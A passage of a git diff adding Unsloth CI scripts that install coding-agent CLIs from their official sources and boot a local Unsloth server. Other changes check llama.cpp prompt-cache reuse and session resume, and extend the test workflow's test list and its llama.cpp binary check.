actually recalls the codeword. A + # miss is not a failure (the CI model is small); the mechanism gate above is + # the real assertion. + if [ "$AGENT" = "codex" ]; then + rm -rf "$WORK"; mkdir -p "$WORK" + ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true + ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-recall.txt" "--persist" exec resume --last "$T2" ) || true + if grep -q "$CODEWORD" "$LOGS_DIR/codex-resume-recall.txt" 2>/dev/null; then + echo "[codex] behavioral recall HIT: resumed session remembered ${CODEWORD}" + else + echo "::warning::[codex] behavioral recall MISS (small CI model); mechanism gate still passed" + fi + fi + echo "[$AGENT] resume OK" + ;; + + *) + echo "agent-guides-drive.sh: unknown mode '$MODE'" >&2 + exit 2 + ;; +esac diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh new file mode 100755 index 0000000000..daf4bacd3e --- /dev/null +++ b/.github/scripts/agent-guides-install.sh @@ -0,0 +1,108 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. +# +# Install one coding-agent CLI for the Local Agent Guides CI. Isolated as +# failure class (b) "agent package install failed": npm/curl flakiness here +# is the single biggest source of false reds, so installs retry with +# backoff and the only ::error:: this script can emit is class (b). The +# install recipes mirror the install_hint strings in +# unsloth_cli/commands/start.py at HEAD. +# +# Usage: agent-guides-install.sh +# agent in: claude codex hermes openclaw opencode pi +set -uo pipefail + +AGENT="${1:?usage: agent-guides-install.sh }" +mkdir -p logs +LOG="logs/install-${AGENT}.log" + +install_fail() { + echo "::error::[agent install failed] agent=${AGENT}: $* (class (b): the agent CLI did not install; not a server or guide problem)." >&2 + echo "---- tail $LOG ----" >&2 + tail -60 "$LOG" 2>/dev/null || true + exit 1 +} + +# npm registry flakiness is common in CI; retry 3x with linear backoff. +# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg). +npm_retry() { + local i + for i in 1 2 3; do + if npm install -g "$@" >> "$LOG" 2>&1; then + return 0 + fi + echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" + sleep "$((i * 10))" + done + return 1 +} + +# curl|bash installers, retried at the curl layer. We download to a temp file +# first and only execute on a fully successful fetch, so a truncated download +# (network hiccup mid-stream) can never run a half-written installer. +curl_bash() { + local url="$1"; shift + local i tmp + tmp="$(mktemp)" + for i in 1 2 3; do + if curl -fsSL --retry 3 --retry-delay 5 "$url" -o "$tmp" 2>>"$LOG" \ + && bash "$tmp" "$@" >> "$LOG" 2>&1; then + rm -f "$tmp" + return 0 + fi + echo "[install] curl|bash $url attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" + sleep "$((i * 10))" + done + rm -f "$tmp" + return 1 +} + +echo "[install] agent=$AGENT (log=$LOG)" +case "$AGENT" in + claude) + # start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash + curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed" + # The installer drops the binary under ~/.local/bin. + echo "$HOME/.local/bin" >> "$GITHUB_PATH" + ;; + codex) + # start.py install_hint: npm install -g @openai/codex + npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed" + ;; + opencode) + # start.py install_hint: npm install -g opencode-ai + npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed" + ;; + openclaw) + # start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash + # npm is the more deterministic path in CI and matches the agent's docs; + # fall back to the start.py curl installer if the npm tag is missing. + if ! npm_retry "openclaw@latest"; then + curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)" + echo "$HOME/.local/bin" >> "$GITHUB_PATH" + fi + ;; + hermes) + # start.py install_hint: + # curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash + curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \ + --non-interactive --skip-setup --skip-browser --no-skills \ + || install_fail "hermes installer failed" + echo "$HOME/.local/bin" >> "$GITHUB_PATH" + ;; + pi) + # start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent + # (--ignore-scripts matches Pi's documented recipe; exercising the exact hint + # catches guide drift). The CLI moved from the now-deprecated @mariozechner + # scope to @earendil-works (the old scope is frozen, so installing it would + # test a stale Pi against the API). + npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \ + || install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed" + ;; + *) + install_fail "unknown agent '$AGENT'" + ;; +esac + +echo "[install] OK for $AGENT" diff --git a/.github/scripts/assert-prompt-cache.sh b/.github/scripts/assert-prompt-cache.sh new file mode 100755 index 0000000000..f5b6b075eb --- /dev/null +++ b/.github/scripts/assert-prompt-cache.sh @@ -0,0 +1,238 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. +# +# Prompt-cache (KV-cache prefix reuse) detection, two strategies in one helper: +# +# mode=api A 2-turn /v1/chat/completions probe. Turn 2 prepends turn 1 + +# its reply, so the shared prefix must be served from llama.cpp's +# KV cache. Asserts usage.prompt_tokens_details.cached_tokens > 0 +# on turn 2. This is the OpenAI-dialect server cache sanity. +# WHY this works on chat completions: the chat path forwards +# llama-server's real cached_tokens through +# studio/backend/routes/inference.py:482-489 (_prompt_tokens_details) +# into prompt_tokens_details (inference.py:519). +# +# mode=log Read the llama-server log and decide HIT vs MISS from the +# prompt-reprocessing trace. WHY the log (not the API field): +# the Anthropic /v1/messages path builds AnthropicUsage( +# input_tokens=..., output_tokens=...) at inference.py:8787-8790 +# / :8829-8832 and NEVER sets cache_read_input_tokens, which +# therefore stays at its model default of 0 +# (studio/backend/models/inference.py:1655). So an Anthropic-path +# client (Claude Code, OpenClaw is openai-completions but Claude +# Code is the canonical Anthropic agent) can get a real KV-cache +# hit that the API usage field reports as 0. The only ground +# truth for the Anthropic path is the llama-server log. +# +# Log location (verified): studio/backend/core/inference/llama_cpp.py:4363-4365 +# _swa_cache_path().parent/"logs"/"llama-server"/llama-[label]-port-

[-try].log +# _swa_cache_path() => $UNSLOTH_STUDIO_HOME|$STUDIO_HOME or ~/.unsloth/studio +# (llama_cpp.py:337-340). So default: ~/.unsloth/studio/logs/llama-server/. +# +#

is the INTERNAL llama-server port (self._find_free_port(), +# llama_cpp.py:3489 / :4641) -- a RANDOM port, NOT the Studio port. So we must +# NOT filter the log glob by STUDIO_PORT (the brief's `port-` +# glob would never match). We pick the newest llama-*.log instead. +# +# Usage: +# assert-prompt-cache.sh api BASE_URL API_KEY +# assert-prompt-cache.sh log EXPECT # EXPECT = HIT | MISS +# # reads MARKER_BEFORE/MARKER_AFTER +# # byte offsets from env (see below) +# assert-prompt-cache.sh mark # print current log size to stdout +# # (use to bracket a turn) +# +# Env for mode=log: +# LLAMA_LOG_DIR override the log dir (default ~/.unsloth/studio/logs/llama-server) +# CACHE_LOG_FROM byte offset to start scanning the newest log from (so we +# only look at the trace produced by THIS turn). Default 0. +# +# Exit codes: 0 = assertion held; 1 = assertion failed (::error:: emitted). + +set -uo pipefail + +MODE="${1:?usage: assert-prompt-cache.sh api|log|mark ...}" + +# --------------------------------------------------------------------------- +# Locate the newest llama-server log. Shared by mark + log modes. +# --------------------------------------------------------------------------- +_default_log_dir() { + local home="${UNSLOTH_STUDIO_HOME:-${STUDIO_HOME:-}}" + if [ -n "$home" ]; then + echo "${home%/}/logs/llama-server" + else + echo "${HOME}/.unsloth/studio/logs/llama-server" + fi +} + +_newest_log() { + local dir="${LLAMA_LOG_DIR:-$(_default_log_dir)}" + [ -d "$dir" ] || return 1 + # Newest by mtime among llama-*.log (covers both `llama--port-

.log` + # and the retry form `llama-

-try.log`). Filenames are + # tool-generated timestamps, so ls -t is safe here. + # shellcheck disable=SC2012 + ls -1t "$dir"/llama-*.log 2>/dev/null | head -1 +} + +case "$MODE" in + # ------------------------------------------------------------------------- + # mark: emit the current byte size of the newest llama log so a caller can + # scan only the slice a single turn produced (set CACHE_LOG_FROM to it). + # ------------------------------------------------------------------------- + mark) + log="$(_newest_log || true)" + if [ -n "$log" ] && [ -f "$log" ]; then + wc -c < "$log" | tr -d ' ' + else + echo 0 + fi + exit 0 + ;; + + # ------------------------------------------------------------------------- + # api: 2-turn /v1/chat/completions, assert turn-2 cached_tokens > 0. + # ------------------------------------------------------------------------- + api) + BASE_URL="${2:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}" + API_KEY="${3:?usage: assert-prompt-cache.sh api BASE_URL API_KEY}" + + # A deliberately long, fixed system prompt makes the shared prefix big so a + # KV-cache hit is unambiguous (cached_tokens grows with the reused prefix). + SYS='You are a meticulous assistant. Always answer concisely and correctly. This is a fixed system preamble that exists only to create a large, identical prompt prefix across both turns so the KV cache has something substantial to reuse on the second request. Do not mention this preamble.' + + turn1_body() { + jq -n --arg sys "$SYS" '{ + model: "default", + messages: [ + {role:"system", content:$sys}, + {role:"user", content:"What is the capital of France?"} + ], + temperature: 0.0, seed: 3407, max_tokens: 40, stream: false, + enable_thinking: false + }' + } + + echo "[cache/api] turn 1 (prime the KV cache)" + R1="$(curl -fs -X POST "${BASE_URL}/v1/chat/completions" \ + -H "Authorization: Bearer ${API_KEY}" -H 'content-type: application/json' \ + --max-time 240 -d "$(turn1_body)")" || { + echo "::error::[cache/api] turn-1 /v1/chat/completions request failed. Unsloth server/API regression." + exit 1 + } + A1="$(echo "$R1" | jq -r '.choices[0].message.content // ""')" + + turn2_body() { + jq -n --arg sys "$SYS" --arg a1 "$A1" '{ + model: "default", + messages: [ + {role:"system", content:$sys}, + {role:"user", content:"What is the capital of France?"}, + {role:"assistant", content:$a1}, + {role:"user", content:"And the capital of Germany?"} + ], + temperature: 0.0, seed: 3407, max_tokens: 40, stream: false, + enable_thinking: false + }' + } + + echo "[cache/api] turn 2 (expect cached_tokens > 0)" + R2="$(curl -fs -X POST "${BASE_URL}/v1/chat/completions" \ + -H "Authorization: Bearer ${API_KEY}" -H 'content-type: application/json' \ + --max-time 240 -d "$(turn2_body)")" || { + echo "::error::[cache/api] turn-2 /v1/chat/completions request failed. Unsloth server/API regression." + exit 1 + } + + CACHED="$(echo "$R2" | jq -r '.usage.prompt_tokens_details.cached_tokens // 0')" + PROMPT_TOK="$(echo "$R2" | jq -r '.usage.prompt_tokens // 0')" + echo "[cache/api] turn-2 usage: prompt_tokens=${PROMPT_TOK} cached_tokens=${CACHED}" + + if [ -z "$CACHED" ] || ! [ "$CACHED" -gt 0 ] 2>/dev/null; then + echo "::error::[cache/api] turn-2 usage.prompt_tokens_details.cached_tokens=${CACHED}, expected > 0. The server is not surfacing llama.cpp KV-cache hits on /v1/chat/completions. Check studio/backend/routes/inference.py:482-489 (_prompt_tokens_details) and :519. Full turn-2 usage:" + echo "$R2" | jq -c '.usage' 2>/dev/null || echo "$R2" + exit 1 + fi + echo "[cache/api] PASS server cache sanity (cached_tokens=${CACHED} > 0)" + exit 0 + ;; + + # ------------------------------------------------------------------------- + # log: classify the newest llama-server log (from CACHE_LOG_FROM bytes on) + # as HIT or MISS and compare to EXPECT. + # ------------------------------------------------------------------------- + log) + EXPECT="${2:?usage: assert-prompt-cache.sh log HIT|MISS}" + FROM="${CACHE_LOG_FROM:-0}" + + log="$(_newest_log || true)" + if [ -z "$log" ] || [ ! -f "$log" ]; then + echo "::error::[cache/log] no llama-server log under ${LLAMA_LOG_DIR:-$(_default_log_dir)}. Cannot read KV-cache trace. (Path contract: studio/backend/core/inference/llama_cpp.py:4363-4365.)" + exit 1 + fi + echo "[cache/log] reading $log from byte $FROM" + + # Scan only the slice produced after FROM. + slice="$(tail -c "+$((FROM + 1))" "$log" 2>/dev/null || cat "$log")" + + # ---- HIT detectors (most-specific first) ----------------------------- + # 1. Modern + legacy "re-used N tokens" / "reused N" (N>0). Primary signal + # per the design brief. + reused_n="$(printf '%s\n' "$slice" \ + | grep -aoiE 're-?used[^0-9]*([0-9]+)' \ + | grep -aoE '[0-9]+' | sort -rn | head -1 || true)" + # 2. "kv cache rm [START, end)" with START>0 => prefix [0,START) reused. + cache_rm_start="$(printf '%s\n' "$slice" \ + | grep -aoiE 'kv cache rm \[[0-9]+' \ + | grep -aoE '[0-9]+' | sort -rn | head -1 || true)" + # 3. "n_past = N" with N>0 after a prompt-processing line (prefix kept). + n_past_n="$(printf '%s\n' "$slice" \ + | grep -aoiE 'n_past[^0-9]*([0-9]+)' \ + | grep -aoE '[0-9]+' | sort -rn | head -1 || true)" + # 4. tokens_cached / tokens from cache (some builds). + tok_cached="$(printf '%s\n' "$slice" \ + | grep -aoiE 'tokens_cached[^0-9]*([0-9]+)' \ + | grep -aoE '[0-9]+' | sort -rn | head -1 || true)" + + # ---- MISS detectors -------------------------------------------------- + # Explicit forced full re-processing (SWA / recurrent) or kv cache rm [0,. + forced_full=0 + if printf '%s\n' "$slice" | grep -aqiE 'forcing full prompt re-?processing|kv cache rm \[0,'; then + forced_full=1 + fi + + HIT=0 + why="" + if [ -n "$reused_n" ] && [ "$reused_n" -gt 0 ] 2>/dev/null; then + HIT=1; why="re-used=$reused_n" + elif [ -n "$cache_rm_start" ] && [ "$cache_rm_start" -gt 0 ] 2>/dev/null; then + HIT=1; why="kv-cache-rm-start=$cache_rm_start" + elif [ -n "$tok_cached" ] && [ "$tok_cached" -gt 0 ] 2>/dev/null; then + HIT=1; why="tokens_cached=$tok_cached" + elif [ "$forced_full" = "0" ] && [ -n "$n_past_n" ] && [ "$n_past_n" -gt 0 ] 2>/dev/null; then + # n_past>0 is the weakest signal; only trust it if nothing forced a full + # reprocess. (On a cold slot n_past tracks total processed, so it is a + # last-resort fallback per the brief.) + HIT=1; why="n_past=$n_past_n(fallback)" + fi + [ "$HIT" = "1" ] || why="${why:-no-reuse-markers (forced_full=$forced_full)}" + + OBSERVED="MISS"; [ "$HIT" = "1" ] && OBSERVED="HIT" + echo "[cache/log] observed=$OBSERVED expected=$EXPECT ($why)" + + if [ "$OBSERVED" != "$EXPECT" ]; then + echo "::error::[cache/log] KV-cache observed=$OBSERVED but expected=$EXPECT ($why). See the attribution A/B note in the workflow." + echo "---- llama-server log slice (last 60 lines) ----" + printf '%s\n' "$slice" | tail -60 + exit 1 + fi + echo "[cache/log] PASS ($OBSERVED == $EXPECT)" + exit 0 + ;; + + *) + echo "::error::unknown mode '$MODE' (want api|log|mark)" + exit 1 + ;; +esac diff --git a/.github/scripts/ci-connect-prompt.txt b/.github/scripts/ci-connect-prompt.txt new file mode 100644 index 0000000000..2d96f2b1a8 --- /dev/null +++ b/.github/scripts/ci-connect-prompt.txt @@ -0,0 +1 @@ +You are a helpful assistant in a CI connectivity check. Answer the user directly in plain text. Do not use any tools, do not take any actions, and do not explain. Just reply with the answer. diff --git a/.github/scripts/ci-min-system-prompt.txt b/.github/scripts/ci-min-system-prompt.txt new file mode 100644 index 0000000000..d55b828bbd --- /dev/null +++ b/.github/scripts/ci-min-system-prompt.txt @@ -0,0 +1 @@ +You are a coding assistant running non-interactively in a CI smoke test. Use the available file-editing and shell tools to complete the user's request directly and concisely. Do not ask questions or explain; just do the task. diff --git a/.github/scripts/hf-download-with-retry.sh b/.github/scripts/hf-download-with-retry.sh index c5ee013c80..013a459f46 100755 --- a/.github/scripts/hf-download-with-retry.sh +++ b/.github/scripts/hf-download-with-retry.sh @@ -1,4 +1,6 @@ #!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 # # Download a single file from a Hugging Face repo with a stall-retry # watchdog. Used by the Studio CI workflows so a hung hf-xet transfer diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh new file mode 100755 index 0000000000..6ac98ded7c --- /dev/null +++ b/.github/scripts/serve-unsloth-run.sh @@ -0,0 +1,172 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. +# +# Boot `unsloth run --disable-tools` in the background, wait for it to be +# healthy, parse the minted API key from the banner, and resolve the +# /v1/models id. Exports everything downstream steps need into $GITHUB_ENV +# (or prints it when run outside Actions). Factored out of the workflow so +# the failure-isolation logic lives in one shellcheck-clean place. +# +# Usage: +# serve-unsloth-run.sh --model REPO --gguf-variant VAR --port PORT \ +# [--gguf-file PATH] [--extra "--seed 3407 --temp 0"] \ +# [--log-dir logs] [--health-timeout 300] +# +# Why a helper and not inline YAML +# -------------------------------- +# * Every `unsloth run` invocation here is the *Unsloth server* under test. +# A failure to come up healthy is class (a) "server/API regression" and +# must be reported with a distinct `::error::` BEFORE any agent runs. +# * The banner is the documented contract a human copies from. We parse the +# exact `API Key:` line printed by unsloth_cli/commands/studio.py +# (` API Key: ` non-silent, `API Key: ` silent) so a +# silent change to that line is also caught. +# * `unsloth run` re-execs into the studio venv ($STUDIO_HOME/unsloth_studio), +# so in CI after `install.sh --local` it runs the PR's repo code. +# +# Outputs written to $GITHUB_ENV (and echoed): +# UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner +# UNSLOTH_STUDIO_URL http://127.0.0.1: (so `unsloth start` +# finds THIS server, not the hardcoded :8888) +# UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity) +# UNSLOTH_MODEL_ID the canonical id reported by /v1/models +# UNSLOTH_SERVER_PID pid of the backgrounded `unsloth run` +# UNSLOTH_LLAMA_LOG_DIR ~/.unsloth/studio/logs/llama-server + +set -uo pipefail + +# ── arg parse ──────────────────────────────────────────────────────────── +MODEL="" +GGUF_VARIANT="" +GGUF_FILE="" +PORT="" +EXTRA="" +LOG_DIR="logs" +HEALTH_TIMEOUT="300" + +while [ "$#" -gt 0 ]; do + case "$1" in + --model) MODEL="$2"; shift 2 ;; + --gguf-variant) GGUF_VARIANT="$2"; shift 2 ;; + --gguf-file) GGUF_FILE="$2"; shift 2 ;; + --port) PORT="$2"; shift 2 ;; + --extra) EXTRA="$2"; shift 2 ;; + --log-dir) LOG_DIR="$2"; shift 2 ;; + --health-timeout) HEALTH_TIMEOUT="$2"; shift 2 ;; + *) echo "serve-unsloth-run.sh: unknown arg '$1'" >&2; exit 2 ;; + esac +done + +[ -n "$PORT" ] || { echo "serve-unsloth-run.sh: --port is required" >&2; exit 2; } +if [ -z "$MODEL" ] && [ -z "$GGUF_FILE" ]; then + echo "serve-unsloth-run.sh: one of --model or --gguf-file is required" >&2 + exit 2 +fi + +mkdir -p "$LOG_DIR" +SERVER_LOG="$LOG_DIR/unsloth-run-${PORT}.log" +BASE_URL="http://127.0.0.1:${PORT}" +STUDIO_HOME_DIR="${STUDIO_HOME:-$HOME/.unsloth/studio}" +LLAMA_LOG_DIR="${STUDIO_HOME_DIR}/logs/llama-server" + +# Emit a key=value pair to $GITHUB_ENV when set, always echo for local runs. +emit() { + echo "$1=$2" + if [ -n "${GITHUB_ENV:-}" ]; then + echo "$1=$2" >> "$GITHUB_ENV" + fi +} + +server_fail() { + echo "::error::Unsloth server/API regression: $*" >&2 + echo "---- last 200 lines of $SERVER_LOG ----" >&2 + tail -200 "$SERVER_LOG" 2>/dev/null || true + exit 1 +} + +# ── port collision guard ───────────────────────────────────────────────── +# A leftover listener (or a parallel matrix cell that wandered onto our port) +# would make us attach to the wrong server and mask a real regression. Fail +# fast instead. +if command -v ss >/dev/null 2>&1; then + if ss -tln 2>/dev/null | grep -q ":${PORT}\b"; then + server_fail "port ${PORT} already has a listener before we started (collision)" + fi +fi + +# ── build the command ──────────────────────────────────────────────────── +# `unsloth run` == alias of `unsloth studio run`. --disable-tools is REQUIRED +# (passthrough mode) so the agent's own tools relay instead of the server's. +# --no-cloudflare keeps us off the network (loopback bind, no tunnel attempt). +CMD=(unsloth run -H 127.0.0.1 -p "$PORT" --disable-tools --no-cloudflare) +if [ -n "$GGUF_FILE" ]; then + CMD+=(--model "$GGUF_FILE") +else + CMD+=(--model "$MODEL") + [ -n "$GGUF_VARIANT" ] && CMD+=(--gguf-variant "$GGUF_VARIANT") +fi +# Determinism knobs + any caller passthrough (e.g. --seed 3407 --temp 0). +# shellcheck disable=SC2206 # intentional word-split of caller-controlled flags +[ -n "$EXTRA" ] && CMD+=($EXTRA) + +echo "[serve] launching: ${CMD[*]}" +echo "[serve] server log: $SERVER_LOG" + +# Run detached, no controlling TTY (setsid avoids any TTY-prompt hang and +# detaches from this step's process group so the job's teardown is clean). +setsid "${CMD[@]}" > "$SERVER_LOG" 2>&1 < /dev/null & +SERVER_PID=$! +emit UNSLOTH_SERVER_PID "$SERVER_PID" + +# ── wait for /api/health == healthy ────────────────────────────────────── +HEALTHY=0 +for _ in $(seq 1 "$HEALTH_TIMEOUT"); do + if ! kill -0 "$SERVER_PID" 2>/dev/null; then + server_fail "process exited before becoming healthy (pid $SERVER_PID)" + fi + if curl -fs "${BASE_URL}/api/health" -o "$LOG_DIR/health-${PORT}.json" 2>/dev/null; then + if jq -e '.status == "healthy"' "$LOG_DIR/health-${PORT}.json" >/dev/null 2>&1; then + HEALTHY=1 + break + fi + fi + sleep 1 +done +[ "$HEALTHY" = "1" ] || server_fail "did not report /api/health healthy within ${HEALTH_TIMEOUT}s" +echo "[serve] /api/health healthy" + +# ── parse the API key from the banner ──────────────────────────────────── +# Match both the non-silent " API Key: " and silent "API Key: " +# forms. We do NOT trust a fixed column count; we take the sk-unsloth-* token. +API_KEY="" +for _ in $(seq 1 30); do + API_KEY="$(grep -aoE 'sk-unsloth-[A-Za-z0-9_-]+' "$SERVER_LOG" 2>/dev/null | head -1 || true)" + [ -n "$API_KEY" ] && break + sleep 1 +done +if [ -z "$API_KEY" ]; then + # Fallback: take whatever follows an "API Key:" label, in case the key + # prefix scheme changes. Still a parse-fragility guard, not silent. + API_KEY="$(grep -aE 'API Key:' "$SERVER_LOG" 2>/dev/null \ + | sed -E 's/.*API Key:[[:space:]]*//' | head -1 || true)" +fi +[ -n "$API_KEY" ] || server_fail "could not parse an API key from the banner (banner-parse fragility -- check the 'API Key:' line in unsloth_cli/commands/studio.py)" +echo "::add-mask::${API_KEY}" +emit UNSLOTH_API_KEY "$API_KEY" + +# ── resolve /v1/models id ──────────────────────────────────────────────── +if ! curl -fs "${BASE_URL}/v1/models" \ + -H "Authorization: Bearer ${API_KEY}" -o "$LOG_DIR/models-${PORT}.json" 2>/dev/null; then + server_fail "/v1/models did not respond (or rejected the banner key)" +fi +MODEL_ID="$(jq -r '.data[0].id // empty' "$LOG_DIR/models-${PORT}.json" 2>/dev/null || true)" +[ -n "$MODEL_ID" ] || server_fail "/v1/models returned no model id (model failed to load)" +echo "[serve] resolved model id: $MODEL_ID" + +emit UNSLOTH_MODEL_ID "$MODEL_ID" +emit UNSLOTH_STUDIO_URL "$BASE_URL" +emit UNSLOTH_BASE_URL "$BASE_URL" +emit UNSLOTH_LLAMA_LOG_DIR "$LLAMA_LOG_DIR" + +echo "[serve] server is up: ${BASE_URL} (model ${MODEL_ID})" diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml index f7c338d76b..1bb4c2bb58 100644 --- a/.github/workflows/consolidated-tests-ci.yml +++ b/.github/workflows/consolidated-tests-ci.yml @@ -209,7 +209,7 @@ jobs: 'peft>=0.18,<0.20' 'accelerate>=0.34,<2' \ ipython # torchvision: unsloth_zoo.vision_utils imports it at module scope. - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.4,<2.11' 'torchvision<0.26' # transformers + trl from the matrix combo. pip install "$RESOLVED_TRANSFORMERS_SPEC" @@ -268,6 +268,10 @@ jobs: tests/saving/test_save_shell_injection.py \ tests/saving/test_patch_saving_none_tokenizer.py \ tests/saving/test_fix_sentencepiece_gguf_robustness.py \ + tests/saving/test_compressed_export_schemes.py \ + tests/saving/test_export_api_surface.py \ + tests/saving/test_export_dispatch.py \ + tests/saving/test_imatrix_export.py \ tests/utils/test_attention_masks.py \ tests/utils/test_trunc_normal_patch.py \ tests/python/test_fast_language_model_text_only.py @@ -353,9 +357,16 @@ jobs: tests/saving/test_save_shell_injection.py \ tests/saving/test_patch_saving_none_tokenizer.py \ tests/saving/test_fix_sentencepiece_gguf_robustness.py \ + tests/saving/test_compressed_export_schemes.py \ + tests/saving/test_export_api_surface.py \ + tests/saving/test_export_dispatch.py \ + tests/saving/test_imatrix_export.py \ tests/utils/test_attention_masks.py \ tests/utils/test_trunc_normal_patch.py \ tests/python/test_fast_language_model_text_only.py \ + tests/test_bad_mappings_redirect.py \ + tests/test_prefetch_snapshot_scope.py \ + tests/test_gemma_2b_mapper_key.py \ --deselect 'tests/utils/test_attention_masks.py::test_run_attention_flash_varlen_receives_window_and_softcap' # The deselected test monkeypatches flash_attn_varlen_func, which is # only bound on the module when `flash_attn` is importable. flash_attn @@ -2166,7 +2177,7 @@ jobs: python -m pip install --upgrade pip # Match the matrix job's torch path so unsloth_zoo's # `import torch` resolves to the same CPU build. - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.4,<2.11' 'torchvision<0.26' pip install \ 'numpy<3' protobuf sentencepiece \ @@ -2204,12 +2215,13 @@ jobs: pip install -e "$RUNNER_TEMP/unsloth-zoo" --no-deps pip show unsloth_zoo - - name: llama.cpp install via unsloth_zoo.llama_cpp + `llama-cli --help` smoke + - name: llama.cpp install via unsloth_zoo.llama_cpp + CLI `--help` smoke # Exercise the canonical `unsloth_zoo.llama_cpp.install_llama_cpp` # flow that GGUF export uses at runtime: clone ggml-org/llama.cpp # into ~/.unsloth/llama.cpp, build the LLAMA_CPP_TARGETS list # (llama-quantize, llama-cli, llama-mtmd-cli, llama-gguf-split, - # llama-server) via cmake, then run `llama-cli --help`. + # llama-server) via cmake, then run `--help` on whichever CLI + # inference binary the build actually produced. # # This replaces the previous "download upstream prebuilt zip" # approach, which silently exited 0 with the message @@ -2218,6 +2230,18 @@ jobs: # matched their current asset names). The build path is the same # one Unsloth users hit in production via `model.save_pretrained_gguf`. # + # We do NOT hard-require `llama-cli` specifically: upstream + # ggml-org/llama.cpp moved the cli/server/ui targets behind the + # `LLAMA_BUILD_SERVER` cmake option (tools/CMakeLists.txt) and the + # set of binaries that survive a given checkout drifts over time + # (e.g. a recent build root shipped llama-server + llama-quantize + # + llama-diffusion-cli but no llama-cli). The durable contract is + # "install_llama_cpp produced a working CLI inference binary AND a + # working quantizer", so we --help-probe the first of + # llama-cli / llama-mtmd-cli / llama-server that exists. If a + # future llama.cpp restores llama-cli it is first in the list and + # is preferred, so this stays backwards compatible. + # # Wall-time budget: ~3-5 min cold, dominated by cmake build of # 5 targets on the runner's 4 cores. Apt-package install is # handled by `install_llama_cpp` itself via its @@ -2252,8 +2276,9 @@ jobs: print(f"Build targets: {LLAMA_CPP_TARGETS}") # install_llama_cpp returns (quantizer_path, converter_script_path). # The quantizer's directory is the `llama.cpp` install root, which - # also holds llama-cli after build/bin/llama-* gets copied up - # (llama_cpp.py:867-871). + # also holds the CLI inference binaries after build/bin/llama-* gets + # copied up (llama_cpp.py:1450-1454; on Windows they stay in + # build/bin/Release/). quantizer, converter = install_llama_cpp(print_output=True) assert quantizer and os.path.exists(quantizer), ( f"install_llama_cpp returned quantizer={quantizer!r} but file missing" @@ -2262,25 +2287,54 @@ jobs: f"install_llama_cpp returned converter={converter!r} but missing" ) install_root = os.path.dirname(quantizer) - cli = os.path.join(install_root, "llama-cli") - assert os.path.exists(cli), ( - f"llama-cli not found at {cli!r} after build. Build root contents: " - f"{sorted(p for p in os.listdir(install_root) if p.startswith('llama-'))[:20]}" - ) - assert os.access(cli, os.X_OK), f"{cli!r} not executable" - # `llama-cli --help` exits non-zero on some builds; the contract - # is that recognizable help text appears on stdout/stderr. + is_windows = sys.platform == "win32" + exe = ".exe" if is_windows else "" + # Search both the copied-up root and the Windows build/bin/Release/ + # location the quantizer might already live in. + search_dirs = [install_root] + win_release = os.path.join(install_root, "build", "bin", "Release") + if win_release not in search_dirs: + search_dirs.append(win_release) + # Any of these proves a working llama.cpp CLI inference binary was + # built. Order = preference: llama-cli is canonical (restored first + # if upstream brings it back), then the multimodal CLI, then the + # server (always built whenever cli would be, behind LLAMA_BUILD_SERVER). + cli_names = [f"llama-cli{exe}", f"llama-mtmd-cli{exe}", f"llama-server{exe}"] + cli = None + cli_name = None + for name in cli_names: + for d in search_dirs: + candidate = os.path.join(d, name) + if os.path.exists(candidate) and (is_windows or os.access(candidate, os.X_OK)): + cli, cli_name = candidate, name + break + if cli is not None: + break + if cli is None: + found = [] + for d in search_dirs: + if os.path.isdir(d): + found += [p for p in os.listdir(d) if p.startswith("llama-")] + raise AssertionError( + f"No CLI inference binary ({', '.join(cli_names)}) found after " + f"build in {search_dirs}. Build root contents: {sorted(set(found))[:20]}" + ) + print(f"Using CLI inference binary: {cli_name} -> {cli}") + # `--help` exits non-zero on some builds; the contract is that + # recognizable help text appears on stdout/stderr. llama-server + # exposes a different flag set than llama-cli, so accept its + # tokens too (e.g. --host / --port / "server"). proc = subprocess.run( [cli, "--help"], capture_output=True, text=True, timeout=30, ) combined = (proc.stdout or "") + (proc.stderr or "") - print("--- llama-cli --help (first 30 lines) ---") + print(f"--- {cli_name} --help (first 30 lines) ---") print("\n".join(combined.splitlines()[:30])) assert any( tok in combined.lower() - for tok in ("usage", "--help", "--model", "-m,") + for tok in ("usage", "--help", "--model", "-m,", "--host", "--port", "server") ), ( - f"llama-cli --help produced no recognizable help 